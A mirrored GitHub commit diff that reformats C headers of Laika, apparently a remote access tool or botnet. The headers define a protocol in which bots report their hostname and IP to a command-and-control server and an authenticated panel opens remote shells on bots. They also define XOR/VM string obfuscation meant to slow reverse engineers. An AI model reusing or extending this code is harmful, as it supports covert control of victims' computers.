1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-09-26 03:40:05 +00:00

Added .clang-format, formatted codebase

This commit is contained in:
2022-06-27 18:57:00 -05:00
parent 1d6ce15b3d
commit 48fa8935c3
46 changed files with 1756 additions and 1242 deletions

View File

@@ -1,32 +1,36 @@
#ifndef LAIKA_LAIKA_H
#define LAIKA_LAIKA_H
#include <stdlib.h>
#include <stddef.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <string.h>
#include "lconfig.h"
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef DEBUG
# define LAIKA_DEBUG(...) printf("[~] " __VA_ARGS__); fflush(stdout);
# define LAIKA_DEBUG(...) \
printf("[~] " __VA_ARGS__); \
fflush(stdout);
#else
# define LAIKA_DEBUG(...) ((void)0) /* no op */
# define LAIKA_DEBUG(...) ((void)0) /* no op */
#endif
#ifndef _MSC_VER
# define LAIKA_FORCEINLINE __attribute__((always_inline)) inline
# define LAIKA_FORCEINLINE __attribute__((always_inline)) inline
#else
# define LAIKA_FORCEINLINE __forceinline
# define LAIKA_FORCEINLINE __forceinline
#endif
LAIKA_FORCEINLINE int MIN(int a, int b) {
LAIKA_FORCEINLINE int MIN(int a, int b)
{
return a < b ? a : b;
}
LAIKA_FORCEINLINE int MAX(int a, int b) {
LAIKA_FORCEINLINE int MAX(int a, int b)
{
return a > b ? a : b;
}

View File

@@ -1,38 +1,43 @@
#ifndef LAIKA_BOX_H
#define LAIKA_BOX_H
#include <inttypes.h>
#include "laika.h"
#include "lmem.h"
#include "lvm.h"
#include "lsodium.h"
#include "lvm.h"
#include <inttypes.h>
#define LAIKA_BOX_SCRATCH_SIZE 128
#define LAIKA_BOX_HEAPSIZE 256
#define LAIKA_BOX_HEAPSIZE 256
enum {
enum
{
LAIKA_BOX_UNLOCKED_INDX, /* for output */
LAIKA_BOX_SCRATCH_INDX, /* for misc. scratch work the vm needs to do (hold keys, etc.) */
LAIKA_BOX_DATA_INDX /* for input */
LAIKA_BOX_SCRATCH_INDX, /* for misc. scratch work the vm needs to do (hold keys, etc.) */
LAIKA_BOX_DATA_INDX /* for input */
};
/* Laika Box:
Laika Boxes are obfuscated storage mediums where data is only in memory for a very short amount of time.
Of course, this can be bypassed with a simple debugger and setting a breakpoint right after the data is 'unlocked',
but the game of obfuscation isn't to prevent the data from being seen, it's to slow the reverse engineer down.
/* Laika Box:
Laika Boxes are obfuscated storage mediums where data is only in memory for a very short
amount of time. Of course, this can be bypassed with a simple debugger and setting a breakpoint
right after the data is 'unlocked', but the game of obfuscation isn't to prevent the data from
being seen, it's to slow the reverse engineer down.
2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to make it more painful
for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable.
Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string
dumping. These apis, while can be used directly, are abstracted through macros with the pre-built boxes.
2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to
make it more painful for the reverse engineer to quickly dump boxes from memory, forcing them to
set breakpoints across the executable. Each box has its own VM, with it's own deobfuscation
routine. This makes static analysis a painful route for string dumping. These apis, while can be
used directly, are abstracted through macros with the pre-built boxes.
Use LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END for quick and dirty usage. The data macros in `lboxconfig.h` are passed
to these, which are generated by VMBoxGen (`tools/vmboxgen`). This will be extended in the future with more boxes and such,
however for the time being only LAIKA_BOX_SKID_* is implemented.
Use LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END for quick and dirty usage. The data macros in
`lboxconfig.h` are passed to these, which are generated by VMBoxGen (`tools/vmboxgen`). This will
be extended in the future with more boxes and such, however for the time being only
LAIKA_BOX_SKID_* is implemented.
*/
struct sLaikaB_box {
struct sLaikaB_box
{
uint8_t unlockedData[LAIKA_BOX_HEAPSIZE];
uint8_t scratch[LAIKA_BOX_SCRATCH_SIZE];
uint8_t code[LAIKA_VM_CODESIZE];
@@ -40,74 +45,74 @@ struct sLaikaB_box {
/* ======================================[[ Box Var API ]]====================================== */
#define LAIKA_BOX_STARTVAR(type, ident, box, data) \
uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \
type ident; \
struct sLaikaB_box __box##ident = box; \
laikaB_unlock(&__box##ident, __data##ident); \
#define LAIKA_BOX_STARTVAR(type, ident, box, data) \
uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \
type ident; \
struct sLaikaB_box __box##ident = box; \
laikaB_unlock(&__box##ident, __data##ident); \
ident = (type)__box##ident.unlockedData;
#define LAIKA_BOX_ENDVAR(ident) \
laikaB_lock(&__box##ident);
#define LAIKA_BOX_ENDVAR(ident) laikaB_lock(&__box##ident);
#ifdef LAIKA_OBFUSCATE
# define LAIKA_BOX_SKID_START(type, ident, strmacro) \
LAIKA_BOX_STARTVAR(type, ident, LAIKA_BOX_SKID(KEY_##strmacro), DATA_##strmacro)
# define LAIKA_BOX_SKID_END(ident) \
LAIKA_BOX_ENDVAR(ident)
# define LAIKA_BOX_SKID_START(type, ident, strmacro) \
LAIKA_BOX_STARTVAR(type, ident, LAIKA_BOX_SKID(KEY_##strmacro), DATA_##strmacro)
# define LAIKA_BOX_SKID_END(ident) LAIKA_BOX_ENDVAR(ident)
#else /* disable obfuscations */
# define LAIKA_BOX_SKID_START(type, ident, strmacro) \
type ident = strmacro;
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
# define LAIKA_BOX_SKID_START(type, ident, strmacro) type ident = strmacro;
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
#endif
/* ======================================[[ Laika Boxes ]]====================================== */
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
#define LAIKA_BOX_SKID(_key) { \
.unlockedData = {0}, /* reserved */ \
.code = { /* stack layout: \
[0] - unlockedData (ptr) \
[1] - data (ptr) \
[2] - key (uint8_t) \
[3] - working data (uint8_t) \
*/ \
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 0, LAIKA_BOX_UNLOCKED_INDX), \
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 1, LAIKA_BOX_DATA_INDX), \
LAIKA_MAKE_VM_IAB(OP_PUSHLIT, 2, _key), \
/* LOOP_START */ \
LAIKA_MAKE_VM_IAB(OP_READ, 3, 1), /* load data into working data */ \
LAIKA_MAKE_VM_IABC(OP_XOR, 3, 3, 2), /* xor data with key */ \
LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \
LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \
LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
OP_EXIT \
} \
}
#define LAIKA_BOX_SKID(_key) \
{ \
.unlockedData = {0}, /* reserved */ \
.code = { /* stack layout: \
[0] - unlockedData (ptr) \
[1] - data (ptr) \
[2] - key (uint8_t) \
[3] - working data (uint8_t) \
*/ \
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 0, LAIKA_BOX_UNLOCKED_INDX), \
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 1, LAIKA_BOX_DATA_INDX), \
LAIKA_MAKE_VM_IAB(OP_PUSHLIT, 2, _key), /* LOOP_START */ \
LAIKA_MAKE_VM_IAB(OP_READ, 3, 1), /* load data into working data */ \
LAIKA_MAKE_VM_IABC(OP_XOR, 3, 3, 2), /* xor data with key */ \
LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \
LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \
LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
OP_EXIT \
} \
}
/* ======================================[[ Raw Box API ]]====================================== */
LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) {
LAIKA_FORCEINLINE void *laikaB_unlock(struct sLaikaB_box *box, void *data)
{
struct sLaikaV_vm vm = {
/* boxes have 2 reserved constants, [0] for the output, [1] for the input */
.constList = {
[LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData),
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
},
.code = {0},
.stack = {0},
/* boxes have 2 reserved constants, [0] for the output, [1] for the input */
.constList =
{
[LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData),
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
},
.code = { 0 },
.stack = { 0 },
.pc = 0
};
memcpy(vm.code, box->code, LAIKA_VM_CODESIZE);
laikaV_execute(&vm);
return (void*)box->unlockedData;
return (void *)box->unlockedData;
}
/* safely zeros the unlockedData using libsodium's api for clearing sensitive data from memory */
LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box) {
LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box)
{
sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE);
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
}

View File

@@ -1,18 +1,23 @@
#ifndef LAIKA_ERROR_H
#define LAIKA_ERROR_H
#include <stdio.h>
#include <setjmp.h>
#include "laika.h"
#include <setjmp.h>
#include <stdio.h>
/* defines errorstack size */
#define LAIKA_MAXERRORS 32
/* DO NOT RETURN/GOTO/BREAK or otherwise skip LAIKA_TRYEND */
#define LAIKA_TRY if (setjmp(eLaika_errStack[++eLaika_errIndx]) == 0) {
#define LAIKA_CATCH } else {
#define LAIKA_TRYEND } --eLaika_errIndx;
#define LAIKA_TRY if (setjmp(eLaika_errStack[++eLaika_errIndx]) == 0) {
#define LAIKA_CATCH \
} \
else \
{
#define LAIKA_TRYEND \
} \
--eLaika_errIndx;
/* if eLaika_errIndx is >= 0, we have a safe spot to jump too if an error is thrown */
#define LAIKA_ISPROTECTED (eLaika_errIndx >= 0)
@@ -23,24 +28,25 @@
arguments are ignored.
*/
#ifndef DEBUG
#define LAIKA_ERROR(...) do { \
if (LAIKA_ISPROTECTED) \
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
else \
exit(1); \
} while(0);
#define LAIKA_WARN(...) ((void)0) /* no op */
# define LAIKA_ERROR(...) \
do { \
if (LAIKA_ISPROTECTED) \
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
else \
exit(1); \
} while (0);
# define LAIKA_WARN(...) ((void)0) /* no op */
#else
#define LAIKA_ERROR(...) do { \
printf("[ERROR] : " __VA_ARGS__); \
if (LAIKA_ISPROTECTED) \
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
else \
exit(1); \
} while(0);
# define LAIKA_ERROR(...) \
do { \
printf("[ERROR] : " __VA_ARGS__); \
if (LAIKA_ISPROTECTED) \
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
else \
exit(1); \
} while (0);
#define LAIKA_WARN(...) \
printf("[WARN] : " __VA_ARGS__);
# define LAIKA_WARN(...) printf("[WARN] : " __VA_ARGS__);
#endif
extern int eLaika_errIndx;

View File

@@ -7,37 +7,39 @@
/* microsoft strikes again with their lack of support for VLAs */
#if _MSC_VER
#define VLA(type, var, sz) type *var = laikaM_malloc(sizeof(type)*sz);
#define ENDVLA(var) laikaM_free(var);
# define VLA(type, var, sz) type *var = laikaM_malloc(sizeof(type) * sz);
# define ENDVLA(var) laikaM_free(var);
#else
#define VLA(type, var, sz) type var[sz];
#define ENDVLA(var) ((void)0) /* no op */
# define VLA(type, var, sz) type var[sz];
# define ENDVLA(var) ((void)0) /* no op */
#endif
#define laikaM_malloc(sz) laikaM_realloc(NULL, sz)
#define laikaM_free(buf) laikaM_realloc(buf, 0)
#define laikaM_free(buf) laikaM_realloc(buf, 0)
#define laikaM_growarray(type, buf, needed, count, capacity) \
if (count + needed >= capacity || buf == NULL) { \
capacity = (capacity + needed) * GROW_FACTOR; \
buf = (type*)laikaM_realloc(buf, sizeof(type)*capacity); \
#define laikaM_growarray(type, buf, needed, count, capacity) \
if (count + needed >= capacity || buf == NULL) { \
capacity = (capacity + needed) * GROW_FACTOR; \
buf = (type *)laikaM_realloc(buf, sizeof(type) * capacity); \
}
/* moves array elements above indx down by numElem, removing numElem elements at indx */
#define laikaM_rmvarray(buf, count, indx, numElem) do { \
int _i, _sz = ((count-indx)-numElem); \
for (_i = 0; _i < _sz; _i++) \
buf[indx+_i] = buf[indx+numElem+_i]; \
count -= numElem; \
} while(0);
/* moves array elements above indx down by numElem, removing numElem elements at indx */
#define laikaM_rmvarray(buf, count, indx, numElem) \
do { \
int _i, _sz = ((count - indx) - numElem); \
for (_i = 0; _i < _sz; _i++) \
buf[indx + _i] = buf[indx + numElem + _i]; \
count -= numElem; \
} while (0);
/* moves array elements above indx up by numElem, inserting numElem elements at indx */
#define laikaM_insertarray(buf, count, indx, numElem) do { \
int _i; \
for (_i = count; _i > indx; _i--) \
buf[_i] = buf[_i-1]; \
count += numElem; \
} while(0);
/* moves array elements above indx up by numElem, inserting numElem elements at indx */
#define laikaM_insertarray(buf, count, indx, numElem) \
do { \
int _i; \
for (_i = count; _i > indx; _i--) \
buf[_i] = buf[_i - 1]; \
count += numElem; \
} while (0);
void *laikaM_realloc(void *buf, size_t sz);

View File

@@ -3,101 +3,108 @@
#include <inttypes.h>
#define LAIKA_MAGIC "LAI\x12"
#define LAIKA_MAGICLEN 4
#define LAIKA_MAGIC "LAI\x12"
#define LAIKA_MAGICLEN 4
#define LAIKA_MAX_PKTSIZE 4096
#define LAIKA_MAX_PKTSIZE 4096
#define LAIKA_HOSTNAME_LEN 64
#define LAIKA_IPSTR_LEN 64
#define LAIKA_INET_LEN 22
#define LAIKA_HOSTNAME_LEN 64
#define LAIKA_IPSTR_LEN 64
#define LAIKA_INET_LEN 22
#define LAIKA_SHELL_DATA_MAX_LENGTH 2048
#define LAIKA_MAX_SHELLS 16
/* first handshake between peer & cnc works as so:
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname & inet ip
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
- cnc responds with LAIKAPKT_HANDSHAKE_RES
- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then sent
*/
/* encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true)
LAIKAPKT_ID pktID; -- plain text
uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text
uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
*/
#define LAIKA_MAX_SHELLS 16
/*
first handshake between peer & cnc works as so:
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname &
inet ip
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
- cnc responds with LAIKAPKT_HANDSHAKE_RES
- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then
sent
encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true)
{
LAIKAPKT_ID pktID; -- plain text
uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text
uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
}
any packet ending with *_RES is cnc 2 peer
any packet ending with *_REQ is peer 2 cnc
if packet doesn't have either, it can be sent & received by both peer & cnc
*/
enum {
/* =========================================[[ Peer ]]========================================== */
enum
{
/* =======================================[[ Peer ]]======================================== */
LAIKAPKT_VARPKT,
/* layout of LAIKAPKT_VARPKT:
* LAIKAPKT_SIZE pktSize;
* LAIKAPKT_ID pktID;
*/
* LAIKAPKT_SIZE pktSize;
* LAIKAPKT_ID pktID;
*/
LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */
/* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!!
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
* uint8_t majorVer;
* uint8_t minorVer;
* uint8_t osType;
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
* char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes)
* char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
*/
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
* uint8_t majorVer;
* uint8_t minorVer;
* uint8_t osType;
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted
* nonce with char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes) char
* inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
*/
LAIKAPKT_HANDSHAKE_RES,
/* layout of LAIKAPKT_HANDSHAKE_RES:
* uint8_t cncEndian;
*/
* uint8_t cncEndian;
*/
LAIKAPKT_PINGPONG,
/* layout of LAIKAPKT_PINGPONG:
* NULL (empty packet)
*/
* NULL (empty packet)
*/
LAIKAPKT_SHELL_OPEN,
/* layout of LAIKAPKT_SHELL_OPEN:
* uint32_t id;
* uint16_t cols;
* uint16_t rows;
*/
* uint32_t id;
* uint16_t cols;
* uint16_t rows;
*/
LAIKAPKT_SHELL_CLOSE,
/* layout of LAIKAPKT_SHELL_CLOSE:
* uint32_t id;
*/
* uint32_t id;
*/
LAIKAPKT_SHELL_DATA,
/* layout of LAIKAPKT_SHELL_DATA
* uint32_t id;
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
*/
/* =========================================[[ Auth ]]========================================== */
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */
* uint32_t id;
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
*/
/* =======================================[[ Auth ]]======================================== */
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel).
there is no response packet */
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
* uint8_t peerType;
*/
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, /* notification that a peer has connected to the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* char hostname[LAIKA_HOSTNAME_LEN];
* char inet[LAIKA_INET_LEN];
* char ipStr[LAIKA_IPSTR_LEN];
* uint8_t peerType;
* uint8_t osType;
*/
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc */
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* char hostname[LAIKA_HOSTNAME_LEN];
* char inet[LAIKA_INET_LEN];
* char ipStr[LAIKA_IPSTR_LEN];
* uint8_t peerType;
* uint8_t osType;
*/
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc
*/
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be open */
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no
response packet, shell is assumed to be open */
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint16_t cols;
* uint16_t rows;
*/
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint16_t cols;
* uint16_t rows;
*/
LAIKAPKT_MAXNONE
};
@@ -105,7 +112,7 @@ typedef uint8_t LAIKAPKT_ID;
typedef uint16_t LAIKAPKT_SIZE;
#ifdef DEBUG
const char* laikaD_getPacketName(LAIKAPKT_ID);
const char *laikaD_getPacketName(LAIKAPKT_ID);
#endif
#endif

View File

@@ -2,66 +2,75 @@
#define LAIKA_PEER_H
#include "laika.h"
#include "lsocket.h"
#include "lpacket.h"
#include "lpolllist.h"
#include "lsocket.h"
#include "lsodium.h"
typedef enum {
typedef enum
{
PEER_UNKNWN,
PEER_BOT,
PEER_CNC, /* cnc 2 cnc communication */
PEER_AUTH /* authorized peers can send commands to cnc */
} PEERTYPE;
typedef enum {
typedef enum
{
OS_UNKNWN,
OS_WIN,
OS_LIN
} OSTYPE;
#ifdef _WIN32
# define LAIKA_OSTYPE OS_WIN
# define LAIKA_OSTYPE OS_WIN
#else
# ifdef __linux__
# define LAIKA_OSTYPE OS_LIN
# else
# define LAIKA_OSTYPE OS_UNKNWN
# endif
# ifdef __linux__
# define LAIKA_OSTYPE OS_LIN
# else
# define LAIKA_OSTYPE OS_UNKNWN
# endif
#endif
typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
struct sLaika_peerPacketInfo {
struct sLaika_peerPacketInfo
{
PeerPktHandler handler;
LAIKAPKT_SIZE size;
bool variadic;
};
#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) [ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC}
#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) \
[ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC}
struct sLaika_peer {
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
struct sLaika_peer
{
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting
sLaika_peer* to sLaika_sock* works as intended */
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
struct sLaika_pollList *pList; /* pollList we're activeList in */
struct sLaika_pollList *pList; /* pollList we're activeList in */
struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */
void *uData; /* data to be passed to pktHandler */
LAIKAPKT_SIZE pktSize; /* current pkt size */
LAIKAPKT_ID pktID; /* current pkt ID */
void *uData; /* data to be passed to pktHandler */
LAIKAPKT_SIZE pktSize; /* current pkt size */
LAIKAPKT_ID pktID; /* current pkt ID */
PEERTYPE type;
OSTYPE osType;
int outStart; /* index of pktID for out packet */
int inStart; /* index of pktID for in packet */
int outStart; /* index of pktID for out packet */
int inStart; /* index of pktID for in packet */
bool useSecure; /* if true, peer will transmit/receive encrypted data using inKey & outKey */
};
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl, struct sLaika_pollList *pList, pollFailEvent onPollFail, void *onPollFailUData, void *uData);
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl,
struct sLaika_pollList *pList, pollFailEvent onPollFail,
void *onPollFailUData, void *uData);
void laikaS_freePeer(struct sLaika_peer *peer);
void laikaS_setSecure(struct sLaika_peer *peer, bool flag);
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id); /* for sending packets with no body */
void laikaS_emptyOutPacket(struct sLaika_peer *peer,
LAIKAPKT_ID id); /* for sending packets with no body */
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);
int laikaS_endOutPacket(struct sLaika_peer *peer);
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);

View File

@@ -1,22 +1,24 @@
#ifndef LAIKA_POLLLIST_H
#define LAIKA_POLLLIST_H
#include <stdbool.h>
#include "hashmap.h"
#include "laika.h"
#include "lsocket.h"
#include "hashmap.h"
#include <stdbool.h>
/* number of pollFDs or epollFDs we expect to start with */
#define POLLSTARTCAP 8
struct sLaika_pollEvent {
struct sLaika_pollEvent
{
struct sLaika_socket *sock;
bool pollIn;
bool pollOut;
};
struct sLaika_pollList {
struct sLaika_pollList
{
struct hashmap *sockets;
struct sLaika_socket **outQueue; /* holds sockets which have data needed to be sent */
struct sLaika_pollEvent *revents;

View File

@@ -4,57 +4,58 @@
/* socket/winsock headers */
#ifdef _WIN32
/* windows */
# ifndef NOMINMAX
# define NOMINMAX
# endif
# define _WINSOCK_DEPRECATED_NO_WARNINGS
# include <winsock2.h>
# include <windows.h>
# include <ws2tcpip.h>
# pragma comment(lib, "Ws2_32.lib")
# ifndef NOMINMAX
# define NOMINMAX
# endif
# define _WINSOCK_DEPRECATED_NO_WARNINGS
# include <windows.h>
# include <winsock2.h>
# include <ws2tcpip.h>
# pragma comment(lib, "Ws2_32.lib")
typedef char buffer_t;
# define PollFD WSAPOLLFD
# define poll WSAPoll
# define LN_ERRNO WSAGetLastError()
# define LN_EWOULD WSAEWOULDBLOCK
# define LN_MSG_NOSIGNAL 0
# define SOCKETINVALID(x) (x == INVALID_SOCKET)
# define SOCKETERROR(x) (x == SOCKET_ERROR)
typedef char buffer_t;
# define PollFD WSAPOLLFD
# define poll WSAPoll
# define LN_ERRNO WSAGetLastError()
# define LN_EWOULD WSAEWOULDBLOCK
# define LN_MSG_NOSIGNAL 0
# define SOCKETINVALID(x) (x == INVALID_SOCKET)
# define SOCKETERROR(x) (x == SOCKET_ERROR)
#else
/* posix platform */
# include <sys/types.h>
# include <sys/socket.h>
# include <netdb.h>
# include <netinet/in.h>
# include <arpa/inet.h>
# include <poll.h>
# ifdef __linux__
# include <sys/epoll.h>
/* max events for epoll() */
# define MAX_EPOLL_EVENTS 128
# define LAIKA_USE_EPOLL
# endif
# include <unistd.h>
# include <errno.h>
# include <arpa/inet.h>
# include <netdb.h>
# include <netinet/in.h>
# include <poll.h>
# include <sys/socket.h>
# include <sys/types.h>
# ifdef __linux__
# include <sys/epoll.h>
/* max events for epoll() */
# define MAX_EPOLL_EVENTS 128
# define LAIKA_USE_EPOLL
# endif
# include <errno.h>
# include <unistd.h>
typedef int SOCKET;
typedef void buffer_t;
# define PollFD struct pollfd
# define LN_ERRNO errno
# define LN_EWOULD EWOULDBLOCK
# define LN_MSG_NOSIGNAL MSG_NOSIGNAL
# define INVALID_SOCKET -1
# define SOCKETINVALID(x) (x < 0)
# define SOCKETERROR(x) (x == -1)
typedef int SOCKET;
typedef void buffer_t;
# define PollFD struct pollfd
# define LN_ERRNO errno
# define LN_EWOULD EWOULDBLOCK
# define LN_MSG_NOSIGNAL MSG_NOSIGNAL
# define INVALID_SOCKET -1
# define SOCKETINVALID(x) (x < 0)
# define SOCKETERROR(x) (x == -1)
#endif
#include <fcntl.h>
#include <stdbool.h>
#include "laika.h"
#include "lsodium.h"
typedef enum {
#include <fcntl.h>
#include <stdbool.h>
typedef enum
{
RAWSOCK_OK,
RAWSOCK_ERROR,
RAWSOCK_CLOSED,
@@ -64,14 +65,15 @@ typedef enum {
typedef bool (*pollEvent)(struct sLaika_socket *sock);
typedef void (*pollFailEvent)(struct sLaika_socket *sock, void *uData);
struct sLaika_socket {
struct sLaika_socket
{
SOCKET sock; /* raw socket fd */
pollFailEvent onPollFail;
pollEvent onPollIn;
pollEvent onPollOut;
void *uData; /* passed to onPollFail */
void *uData; /* passed to onPollFail */
uint8_t *outBuf; /* raw data to be sent() */
uint8_t *inBuf; /* raw data we recv()'d */
uint8_t *inBuf; /* raw data we recv()'d */
int outCount;
int inCount;
int outCap;
@@ -87,24 +89,31 @@ bool laikaS_isBigEndian(void);
void laikaS_init(void);
void laikaS_cleanUp(void);
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut, pollFailEvent onPollFail, void *uData);
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut,
pollFailEvent onPollFail, void *uData);
void laikaS_cleanSocket(struct sLaika_socket *sock);
void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */
void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port); /* connect to ip & port */
void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */
void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipStr);
bool laikaS_setNonBlock(struct sLaika_socket *sock);
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz); /* throws sz bytes away from the inBuf */
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz); /* writes sz NULL bytes to the outBuf */
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
void laikaS_consumeRead(struct sLaika_socket *sock,
size_t sz); /* throws sz bytes away from the inBuf */
void laikaS_zeroWrite(struct sLaika_socket *sock,
size_t sz); /* writes sz NULL bytes to the outBuf */
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */
